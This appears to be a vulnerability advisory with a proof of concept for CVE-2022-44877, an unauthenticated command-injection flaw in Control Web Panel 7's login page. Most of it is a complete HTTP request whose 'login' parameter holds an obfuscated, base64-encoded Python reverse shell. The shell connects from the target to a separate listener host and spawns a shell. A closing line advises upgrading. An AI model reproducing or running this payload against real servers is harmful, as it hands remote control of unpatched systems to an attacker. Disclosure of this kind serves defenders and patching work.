Control Web Panel 7 Remote Code Execution

[+] Centos Web Panel 7 Unauthenticated Remote Code Execution
[+] Centos Web Panel 7 – < 0.9.8.1147

[+] Affected Component ip:2031/login/index.php?login=$(whoami)

[+] Discoverer: Numan Turle @ Gais Cyber Security

[+] Vendor: https://centos-webpanel.com/ – https://control-webpanel.com/changelog#1669855527714-450fb335-6194

[+] CVE: CVE-2022-44877

Description

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You can run Bash commands because double quotations are used to record incorrect entries in the system.

Video proof of Concept

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The proof:

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POST /login/index.php?login=$(echo$IFScHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg$IFS|$IFSbase64$IFS-d$IFS|$IFSbash) HTTP/1.1

Host: 10.13.37.10:2031

Cookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82

Content-Length: 40

Origin: https://10.13.37.10:2031

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: https://10.13.37.10:2031/login/index.php?login=failed

Accept-Encoding: gzip, deflate

Accept-Language :

Connectivity: Close

username=root&password=toor&commit=Login

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Lösung

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Upgrade to CWP7 Current Version.